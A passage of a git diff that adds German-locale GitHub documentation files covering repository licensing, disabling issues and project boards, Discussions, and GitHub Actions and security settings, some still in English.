+  - /classifying-your-repository-with-topics
+  - /about-code-owners
+  - /about-repository-languages
+  - /about-citation-files
+shortTitle: Customize your repository
+ms.openlocfilehash: b82a88be8f17557a5474bac7e2bc480af0b7723d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132226'
+---
+
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
new file mode 100644
index 0000000000..6df07234e6
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
@@ -0,0 +1,98 @@
+---
+title: Licensing a repository
+intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.'
+redirect_from:
+  - /articles/open-source-licensing
+  - /articles/licensing-a-repository
+  - /github/creating-cloning-and-archiving-repositories/licensing-a-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/licensing-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+## Choosing the right license
+
+We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision.
+
+You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project.
+
+{% note %}
+
+**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.location.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+
+{% endnote %}
+
+## Determining the location of your license
+
+Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md).
+
+Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license."
+
+As a best practice, we encourage you to include the license file with your project.
+
+## Searching GitHub by license type
+
+You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword:
+
+License | License keyword
+---  | ---
+| Academic Free License v3.0 | `afl-3.0` |
+| Apache license 2.0 | `apache-2.0` |
+| Artistic license 2.0 | `artistic-2.0` |
+| Boost Software License 1.0 | `bsl-1.0` |
+| BSD 2-clause "Simplified" license | `bsd-2-clause` |
+| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` |
+| BSD 3-clause Clear license | `bsd-3-clause-clear` |
+| Creative Commons license family | `cc` |
+| Creative Commons Zero v1.0 Universal | `cc0-1.0` |
+| Creative Commons Attribution 4.0 | `cc-by-4.0` |
+| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
+| Do What The F*ck You Want To Public License | `wtfpl` |
+| Educational Community License v2.0 | `ecl-2.0` |
+| Eclipse Public License 1.0 | `epl-1.0` |
+| Eclipse Public License 2.0 | `epl-2.0` |
+| European Union Public License 1.1 | `eupl-1.1` |
+| GNU Affero General Public License v3.0 | `agpl-3.0` |
+| GNU General Public License family | `gpl` |
+| GNU General Public License v2.0 | `gpl-2.0` |
+| GNU General Public License v3.0 | `gpl-3.0` |
+| GNU Lesser General Public License family | `lgpl` |
+| GNU Lesser General Public License v2.1 | `lgpl-2.1` |
+| GNU Lesser General Public License v3.0 | `lgpl-3.0` |
+| ISC | `isc` |
+| LaTeX Project Public License v1.3c | `lppl-1.3c` |
+| Microsoft Public License | `ms-pl` |
+| MIT | `mit` |
+| Mozilla Public License 2.0 | `mpl-2.0` |
+| Open Software License 3.0 | `osl-3.0` |
+| PostgreSQL License | `postgresql` |
+| SIL Open Font License 1.1 | `ofl-1.1` |
+| University of Illinois/NCSA Open Source License | `ncsa` |
+| The Unlicense | `unlicense` |
+| zLib License | `zlib` |
+
+When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)."
+
+## Detecting a license
+
+[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license).
+
+If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file.
+
+## Applying a license to a repository with an existing license
+
+The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)."
+
+![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png)
+
+## Disclaimer
+
+The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional.
+
+## Further reading
+
+- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %}
+- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md
new file mode 100644
index 0000000000..fbca541d10
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md
@@ -0,0 +1,38 @@
+---
+title: Issues deaktivieren
+intro: 'Du kannst Issues für dein Repository deaktivieren, wenn du keine Beiträge oder Fehlerberichte akzeptierst.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/disabling-issues
+  - /articles/disabling-issues
+  - /github/managing-your-work-on-github/disabling-issues
+  - /github/administering-a-repository/managing-repository-settings/disabling-issues
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: a706b1431f4f43c9866fb6ef0f01f6d25d6edc46
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881828'
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Deaktiviere unter „Funktionen“ das Kontrollkästchen **Issues**.
+  ![Kontrollkästchen zum Entfernen von Issues](/assets/images/help/issues/issues_settings_remove_from_repo.png)
+
+Wenn Du Issues zukünftig erneut aktivieren möchtest, sind alle Issues wieder verfügbar, die zuvor hinzugefügt wurden.
+
+{% ifversion fpt or ghec %}
+
+{% tip %}
+
+Wende Dich an {% data variables.contact.contact_support %}, wenn Du Issues wegen missbräuchlicher Verwendung durch Fremde deaktivieren möchtest.
+{% data reusables.policies.abuse %}
+
+{% endtip %}
+
+{% endif %}
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md
new file mode 100644
index 0000000000..250b340541
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md
@@ -0,0 +1,31 @@
+---
+title: 'Deaktivieren von {% data variables.projects.projects_v1_boards %} in einem Repository'
+intro: 'Repositoryadministrator*innen können {% data variables.projects.projects_v1_boards %} für ein Repository deaktivieren, wenn du oder dein Team die Arbeit anders verwalten.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-a-repository
+  - /articles/disabling-project-boards-in-a-repository
+  - /github/managing-your-work-on-github/disabling-project-boards-in-a-repository
+  - /github/administering-a-repository/managing-repository-settings/disabling-project-boards-in-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: 'Disable {% data variables.projects.projects_v1_boards %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 8c550cd9ebc767327298e39dc0b3a6a11368dc3f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109526'
+---
+Wenn du {% data variables.projects.projects_v1_boards %} deaktivierst, werden in Zeitachsen oder [Überwachungsprotokollen](/articles/reviewing-your-security-log/) keine {% data variables.projects.projects_v1_board %}informationen mehr angezeigt.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Deaktiviere unter "Features" (Funktionen) das Kontrollkästchen **"Projects" (Projekte)** .
+  ![Kontrollkästchen "Remove Projects" (Projekte entfernen)](/assets/images/help/projects/disable-projects-checkbox.png)
+
+Nach Deaktivierung von {% data variables.projects.projects_v1_boards %} sind vorhandene {% data variables.projects.projects_v1_boards %} unter ihren vorherigen URLs nicht mehr zugänglich. {% data reusables.organizations.disable_project_board_results %}
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md
new file mode 100644
index 0000000000..d78849123a
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md
@@ -0,0 +1,30 @@
+---
+title: Aktivieren oder Deaktivieren von GitHub-Diskussionen für eine Organisation
+intro: 'Mit {% data variables.product.prodname_discussions %} in einem Repository kann deine Community Unterhaltungen führen, Fragen stellen und Antworten teilen, ohne ein Issue erstellen zu müssen.'
+permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_discussions %} for the repository.'
+versions:
+  feature: discussions
+topics:
+  - Repositories
+redirect_from:
+  - /github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository
+  - /github/administering-a-repository/managing-repository-settings/enabling-or-disabling-github-discussions-for-a-repository
+shortTitle: Discussions
+ms.openlocfilehash: 81633ff38163af2ec2ff7d01d1843e99be82cb97
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410515'
+---
+## Aktivieren oder Deaktivieren von {% data variables.product.prodname_discussions %} für dein Repository
+
+{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-repository %}
+1. Um Diskussionen zu deaktivieren, deaktiviere unter "Features" (Funktionen) die Auswahl **Discussions** (Diskussionen).
+
+Du kannst auch Organisationsdiskussionen verwenden, um Unterhaltungen zu erleichtern, bei denen es um mehrere Repositorys in deiner Organisation geht. Weitere Informationen findest du unter "[Aktivieren oder Deaktivieren von GitHub-Diskussionen für eine Organisation](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)".
+
+## Weiterführende Themen
+
+- [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions)
+- "[Verwalten von Diskussionen für deine Community](/discussions/managing-discussions-for-your-community)"
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md
new file mode 100644
index 0000000000..2a38ae9c19
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md
@@ -0,0 +1,25 @@
+---
+title: Aktivieren von Features für dein Repository
+intro: 'Du kannst optionale Features für dein Repository aktivieren, konfigurieren und deaktivieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /disabling-issues
+  - /disabling-project-boards-in-a-repository
+  - /managing-github-actions-settings-for-a-repository
+  - /enabling-or-disabling-github-discussions-for-a-repository
+  - /managing-security-and-analysis-settings-for-your-repository
+shortTitle: Enable features
+ms.openlocfilehash: ac8b5eb3ca39a994d78ebd0ef4d7109dae718ea1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132190'
+---
+
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
new file mode 100644
index 0000000000..f6bff21e91
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
@@ -0,0 +1,208 @@
+---
+title: Managing GitHub Actions settings for a repository
+intro: 'You can disable or configure {% data variables.product.prodname_actions %} for a specific repository.'
+redirect_from:
+  - /github/administering-a-repository/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository
+  - /github/administering-a-repository/managing-repository-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository
+  - /github/administering-a-repository/disabling-or-limiting-github-actions-for-a-repository
+  - /github/administering-a-repository/managing-repository-settings/disabling-or-limiting-github-actions-for-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Actions
+  - Permissions
+  - Pull requests
+shortTitle: Manage GitHub Actions settings
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About {% data variables.product.prodname_actions %} permissions for your repository
+
+{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+
+You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.actions.disabled-actions-description %}
+
+Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run.
+
+## Managing {% data variables.product.prodname_actions %} permissions for your repository
+
+You can disable {% data variables.product.prodname_actions %} for a repository, or set a policy that configures which actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} can be used in the repository.
+
+{% note %}
+
+**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+
+{% endnote %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+1. Under "Actions permissions", select an option.
+
+   {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %}
+
+   {% ifversion actions-workflow-policy %}
+   ![Set actions policy for this repository](/assets/images/help/repository/actions-policy-with-workflows.png)
+   {%- else %}
+   ![Set actions policy for this repository](/assets/images/help/repository/actions-policy.png)
+   {%- endif %}
+1. Click **Save**.
+
+{% data reusables.actions.allow-specific-actions-intro %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+1. Under "Actions permissions", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions to the list.
+
+   {% ifversion actions-workflow-policy%}
+   ![Add actions and reusable workflows to the allow list](/assets/images/help/repository/actions-policy-allow-list-with-workflows.png)
+   {%- elsif ghes %}
+   ![Add actions to the allow list](/assets/images/help/repository/actions-policy-allow-list.png)
+   {%- else %}
+   ![Add actions to the allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png)
+   {%- endif %}
+1. Click **Save**.
+
+{% ifversion fpt or ghec %}
+## Controlling changes from forks to workflows in public repositories
+
+{% data reusables.actions.workflow-run-approve-public-fork %}
+
+You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+{% data reusables.actions.workflows-from-public-fork-setting %}
+
+{% data reusables.actions.workflow-run-approve-link %}
+{% endif %}
+
+## Enabling workflows for forks of private repositories
+
+{% data reusables.actions.private-repository-forks-overview %}
+
+If a policy is disabled for an {% ifversion ghec or ghae or ghes %}enterprise or{% endif %} organization, it cannot be enabled for a repository.
+
+{% data reusables.actions.private-repository-forks-options %}
+
+### Configuring the fork policy for a private repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+{% data reusables.actions.private-repository-forks-configure %}
+
+## Setting the permissions of the `GITHUB_TOKEN` for your repository
+
+{% data reusables.actions.workflow-permissions-intro %}
+
+The default permissions can also be configured in the organization settings. If your repository belongs to an organization and a more restrictive default has been selected in the organization settings, the same option is selected in your repository settings and the permissive option is disabled.
+
+{% data reusables.actions.workflow-permissions-modifying %}
+
+### Configuring the default `GITHUB_TOKEN` permissions
+
+{% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+By default, when you create a new repository in your personal account, `GITHUB_TOKEN` only has read access for the `contents` scope. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings.
+{% endif %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
+
+   {% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+   ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository-with-pr-approval.png)
+   {% else %}
+   ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png)
+   {% endif %}
+
+1. Click **Save** to apply the settings.
+
+{% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests
+
+{% data reusables.actions.workflow-pr-approval-permissions-intro %}
+
+By default, when you create a new repository in your personal account, workflows are not allowed to create or approve pull requests. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests.
+
+   ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository-with-pr-approval.png)
+1. Click **Save** to apply the settings.
+{% endif %}
+
+{% ifversion ghes > 3.3 or ghae > 3.3 or ghec %}
+## Allowing access to components in an internal repository
+
+Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)."
+
+You can use the steps below to configure whether {% ifversion internal-actions%}actions and {% endif %}workflows in an internal repository can be accessed from outside the repository.{% ifversion internal-actions %} For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)." Alternatively, you can use the REST API to set, or get details of, the level of access. For more information, see "[Get the level of access for workflows outside of the repository](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#get-the-level-of-access-for-workflows-outside-of-the-repository)" and "[Set the level of access for workflows outside of the repository](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#set-the-level-of-access-for-workflows-outside-of-the-repository)."{% endif %}
+
+1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository.
+1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.
+{% data reusables.repositories.settings-sidebar-actions-general %}
+1. Under **Access**, choose one of the access settings:
+
+   {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png){% else %}![Set the access to Actions components](/assets/images/enterprise/3.4/actions-access-settings.png){% endif %}
+
+   * **Not accessible** - Workflows in other repositories cannot access this repository.
+   * **Accessible from repositories in the 'ORGANIZATION NAME' organization** - {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}Workflows in other repositories that are part of the 'ORGANIZATION NAME' organization can access the actions and workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal.{% endif %}
+   * **Accessible from repositories in the 'ENTERPRISE NAME' enterprise** - {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}Workflows in other repositories that are part of the 'ENTERPRISE NAME' enterprise can access the actions and workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal.{% endif %}
+1. Click **Save** to apply the settings.
+{% endif %}
+
+## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository
+
+You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository.
+
+{% data reusables.actions.about-artifact-log-retention %}
+
+You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)."
+
+## Setting the retention period for a repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+{% data reusables.actions.change-retention-period-for-artifacts-logs  %}
+
+{% ifversion actions-cache-policy-apis %}
+
+## Configuring cache storage for a repository
+
+{% data reusables.actions.cache-default-size %} However, these default sizes might be different if an enterprise owner has changed them. {% data reusables.actions.cache-eviction-process %}
+
+You can set a total cache storage size for your repository up to the maximum size allowed by the {% ifversion actions-cache-admin-ui %}organization or{% endif %} enterprise policy setting{% ifversion actions-cache-admin-ui %}s{% endif %}.
+
+{% ifversion actions-cache-admin-ui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-general %}
+{% data reusables.actions.change-cache-size-limit  %}
+
+{% else %}
+
+The repository settings for {% data variables.product.prodname_actions %} cache storage can currently only be modified using the REST API:
+
+* To view the current cache storage limit for a repository, see "[Get GitHub Actions cache usage policy for a repository](/rest/actions/cache#get-github-actions-cache-usage-policy-for-a-repository)."
+* To change the cache storage limit for a repository, see "[Set GitHub Actions cache usage policy for a repository](/rest/actions/cache#set-github-actions-cache-usage-policy-for-a-repository)."
+
+{% data reusables.actions.cache-no-org-policy %}
+
+{% endif %}
+
+{% endif %}
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
new file mode 100644
index 0000000000..1cbb6dffab
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
@@ -0,0 +1,118 @@
+---
+title: Managing security and analysis settings for your repository
+intro: 'You can control features that secure and analyze the code in your project on {% data variables.product.prodname_dotcom %}.'
+permissions: People with admin permissions to a repository can manage security and analysis settings for the repository.
+redirect_from:
+  - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization-s-repositories
+  - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organizations-repositories
+  - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization
+  - /github/managing-security-vulnerabilities/managing-alerts-for-vulnerable-dependencies-in-your-organization
+  - /github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository
+  - /github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Alerts
+  - Advanced Security
+  - Dependency graph
+  - Secret scanning
+  - Repositories
+shortTitle: Security & analysis
+---
+{% ifversion fpt or ghec %}
+## Enabling or disabling security and analysis features for public repositories
+
+You can manage a subset of security and analysis features for public repositories. Other features are permanently enabled, including dependency graph and secret scanning.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**.
+  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-public.png)
+{% endif %}
+
+## Enabling or disabling security and analysis features{% ifversion fpt or ghec %} for private repositories{% endif %}
+
+You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %}
+{% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} have extra options available. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest//repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories).
+{% endif %}
+
+{% data reusables.security.security-and-analysis-features-enable-read-only %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+{% ifversion fpt or ghes or ghec %}
+4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**. {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %}
+  ![Screenshot of "Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+  ![Screenshot of "Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.6 or ghae > 3.6 %}<!--Insert screenshot for GHES 3.7 when available-->
+  ![Screenshot of "Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
+  
+  {% ifversion not fpt %}
+  {% note %}
+
+  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail.
+  {% endnote %}{% endif %}
+
+  {% endif %}
+
+  {% ifversion ghae %}
+4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**. Before you can enable "{% data variables.product.prodname_secret_scanning %}" for your repository, you may need to enable {% data variables.product.prodname_GH_advanced_security %}.
+   ![Enable or disable {% data variables.product.prodname_GH_advanced_security %} or {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png)
+  {% endif %}
+
+## Granting access to security alerts
+
+Security alerts for a repository are visible to people with admin access to the repository and, when the repository is owned by an organization, organization owners. You can give additional teams and people access to the alerts.
+
+{% note %}
+
+Organization owners and repository administrators can only grant access to view security alerts, such as {% data variables.product.prodname_secret_scanning %} alerts, to people or teams who have write access to the repo.
+
+{% endnote %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
